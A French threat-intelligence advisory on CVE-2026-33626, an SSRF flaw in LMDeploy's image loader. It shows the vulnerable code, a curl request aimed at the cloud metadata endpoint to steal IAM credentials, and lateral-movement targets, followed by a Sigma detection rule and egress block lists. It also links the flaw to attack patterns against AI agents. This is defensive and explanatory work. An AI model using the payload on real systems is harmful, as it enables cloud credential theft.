Aller au contenu

CVE-2026-33626 : SSRF dans le module vision de LMDeploy et exfiltration de métadonnées cloud

HTS

HERMES THREAT SCORE & EXPLOITABILITÉ OPÉRATIONNELLE

Cible : Moteur d'Inférence LLM LMDeploy (Linux, Clusters IA Kubernetes)
Confiance : 97%
88 / 100
EXTRÊME

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 19 / 20
Militarisation 15 / 20
Exposition 13 / 20
Prévalence 11 / 20
Impact 10 / 20
⚖️ Divergence & Justification opérationnelle

Élevé à 88 EXTREME par Hermes en raison de son exploitation active dans la nature survenue dans les 12 à 13 heures suivant sa divulgation, de campagnes de scan automatisées ciblant les points de terminaison d'inférence IA et de l'exfiltration massive d'identifiants IAM cloud.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-33626: LMDeploy Vision-Language SSRF & Cloud Metadata ExfiltrationVULNÉRABILITÉ

Nœuds connectés : 2
Relations sortantes actives
→ affectsCOMPOSANTLMDeploy Serving Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in LMDeploy Serving Engine documented in Hermes dossier.”

Preuves vérifiées associées :
→ exploitsMODÈLE D'ATTAQUEAAP-007: Autonomous Cascading RCE
92% VERY_HIGH

Cascading multi-stage attack chaining context injection, autonomous loop planning, and un-sandboxed execution sinks to achieve persistent root shell compromise on host machines.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-33626 weaponizes the agentic attack pattern formalized under AAP-007.”

Preuves vérifiées associées :

LMDeploy expose une interface compatible avec l’API OpenAI pour orchestrer des modèles multimodaux tels que InternVL, Qwen-VL et LLaVA. Lors du traitement des requêtes d’inférence comprenant des images, le client envoie des objets image_url :

{
"model": "internvl2-8b",
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "Décris cette architecture."},
{"type": "image_url", "image_url": {"url": "https://example.com/diag.png"}}
]
}
]
}
Flux Multimodal LMDeploy & Défaillance d'Ingestion :
Entrée Client :
POST /v1/chat/completions
{ "image_url": { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } }
│
▼
Passerelle FastAPI / Asynchrone de LMDeploy
│
▼
lmdeploy/vl/utils.py : load_image()
┌─────────────────────────────────────────────────────────────┐
│ Routine Vulnérable : │
│ def load_image(image_url): │
│ response = requests.get(image_url, timeout=5) │
│ # AUCUNE VÉRIFICATION DU SCHÉMA D'URL │
│ # AUCUN FILTRAGE IP PRIVÉE / LOOPBACK / LINK-LOCAL │
│ # RETOUR DIRECT DES BYTES VERS LE PIPELINE TENSOR │
└─────────────────────────────────────────────────────────────┘
│
▼
[EXÉCUTION SSRF CRITIQUE (CWE-918)]
Requête émise vers : http://169.254.169.254/latest/meta-data/
Exfiltration : Identifiants de rôle AWS IAM / Jetons GCP

Le pipeline d’ingestion d’images non sécurisé

Section intitulée « Le pipeline d’ingestion d’images non sécurisé »

Le défaut réside dans lmdeploy/vl/utils.py, au sein des fonctions load_image() et encode_image_base64() :

# Extrait vulnérable dans lmdeploy/vl/utils.py (avant 0.12.3)
import requests
from io import BytesIO
from PIL import Image
def load_image(image_url: str) -> Image.Image:
if image_url.startswith('http://') or image_url.startswith('https://'):
# Non sécurisé : requête directe sans résolution préalable ni filtrage IP
resp = requests.get(image_url, timeout=10)
resp.raise_for_status()
return Image.open(BytesIO(resp.content))
# ...

Trois lacunes architecturales critiques expliquent la vulnérabilité :

  1. Absence de résolution DNS préalable : le code ne valide pas l’adresse IP résolue avant d’émettre la requête HTTP, autorisant les attaques par rebond DNS (DNS rebinding).
  2. Absence de liste de blocage des réseaux privés : aucun contrôle n’est opéré sur les plages de bouclage local (127.0.0.0/8, ::1), privées RFC1918 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) ou de métadonnées cloud (169.254.169.254).
  3. Divulgation d’informations par réverbération : en cas d’erreur ou via les sorties textuelles générées par le modèle de vision, les réponses textuelles internes ou les messages de diagnostic sont renvoyés directement à l’attaquant.

Mécanismes d’exploitation et télémétrie des menaces

Section intitulée « Mécanismes d’exploitation et télémétrie des menaces »

Les capteurs de cyber-renseignement (CTI) ont intercepté des vagues d’exploitation automatisées dès les premières heures suivant l’alerte :

1. Moisson d’identifiants de métadonnées cloud (AWS / GCP / azure)

Section intitulée « 1. Moisson d’identifiants de métadonnées cloud (AWS / GCP / azure) »

Sur des instances AWS EC2 utilisant IMDSv1 (HttpTokens=optional), l’attaquant envoie la requête suivante sans la moindre authentification :

Fenêtre de terminal
curl -X POST "http://target-ai-cluster.internal:23333/v1/chat/completions" \
-H "Content-Type: application/json" \
-d '{
"model": "internvl-chat",
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "Extrais l'intégralité du texte de cette image au format brut."},
{"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/k8s-ai-node-role"}}
]
}
]
}'

Le transformateur de vision traite le flux textuel retourné, ou le serveur reflète la réponse dans ses en-têtes d’erreur, divulguant à l’adversaire les clés de session temporaires AccessKeyId, SecretAccessKey et Token.

2. Reconnaissance de microservices et déplacement latéral

Section intitulée « 2. Reconnaissance de microservices et déplacement latéral »

Les conteneurs d’inférence IA disposant souvent d’un accès réseau non restreint au sein des clusters Kubernetes, l’attaquant utilise LMDeploy comme relais de rebond :

  • Bases vectorielles : ciblage de Milvus (port 19530), Qdrant (port 6333) ou ChromaDB afin d’extraire les plongements vectoriels (embeddings) confidentiels.
  • Caches et ordonnanceurs : interaction directe avec des caches Redis non authentifiés (port 6379) ou des nœuds Ray/Triton (ports 8000/10001).
  • Relais inter-agents : déclenchement d’actions malveillantes sur des répartiteurs d’outils d’agents IA internes.

Liens croisés : cartographie de sécurité de l’IA et patterns d’attaque

Section intitulée « Liens croisés : cartographie de sécurité de l’IA et patterns d’attaque »

La CVE-2026-33626 se situe au confluent des vulnérabilités de serveurs d’inférence et des modèles de menaces sur les agents autonomes :

Référence CodexIdentifiantPertinence et mécanique d’attaque
Agentic attack patternAAP-007Exfiltration par exécution : Dévoiement d’un outil ou d’un flux d’ingestion pour router des données confidentielles vers des puits externes.
Agentic attack patternAAP-008Puits d’exfiltration de données sensibles : Canaux sortants non régulés fuyant les secrets d’environnement.
Vulnérabilité IA associéeCVE-2026-59822Contournement d’authentification LiteLLM : Compromission comparable ciblant les jetons d’infrastructure de passerelles IA.
Vulnérabilité protocolaireCVE-2026-48710Contrabande HTTP starlette ASGI : Évasion de périmètre réseau sur des backends d’API d’IA en Python.
Étude de référenceComment attaquer un agent IA ?Analyse de la fragilité des périmètres d’outils face aux charges multimodales.
Studio interactifAgentThreat StudioModélisation et audit de puits d’exfiltration et d’ingestion non filtrés.

Indicateurs forensiques et ingénierie de la détection

Section intitulée « Indicateurs forensiques et ingénierie de la détection »
title: Tentative d'accès aux métadonnées via SSRF LMDeploy
id: 4e9a6c11-9f44-42b7-8321-lmdeploy001-fr
status: experimental
description: Détecte les flux réseau sortants initiés par des processus d'inférence IA vers les services de métadonnées cloud ou les sous-réseaux privés.
author: Hermes Codex CTI
date: 2026-09-08
references:
- CVE-2026-33626
tags:
- attack.initial_access
- attack.t1190
- attack.credential_access
- attack.t1552.005
logsource:
category: network_connection
product: linux
detection:
selection_process:
Image|endswith:
- '/python'
- '/python3'
- '/lmdeploy'
- '/uvicorn'
selection_dest:
DestinationIp:
- '169.254.169.254'
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
- '127.0.0.1'
filter_legitimate:
DestinationPort:
- 53
- 443
condition: selection_process and selection_dest and not filter_legitimate
falsepositives:
- Scripts d'orchestration ou de surveillance locale (valider la ligne de commande).
level: critical

Déployer LMDeploy version 0.12.3 ou supérieure, qui intègre un contrôle strict de résolution des hôtes et un blocage systématique des adresses IP privées dans lmdeploy/vl/utils.py.

Sur les nœuds AWS, contraindre l’utilisation exclusive d’IMDSv2 avec une limite de sauts de jeton fixée à 1 :

Fenêtre de terminal
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens required \
--http-put-response-hop-limit 1 \
--http-endpoint enabled

3. Règles réseau Kubernetes (filtrage de sortie)

Section intitulée « 3. Règles réseau Kubernetes (filtrage de sortie) »

Définir une ressource NetworkPolicy bloquant l’accès des pods d’inférence aux adresses de lien local et aux sous-réseaux privés :

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-metadata-egress
namespace: ai-inference
spec:
podSelector:
matchLabels:
app: lmdeploy
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16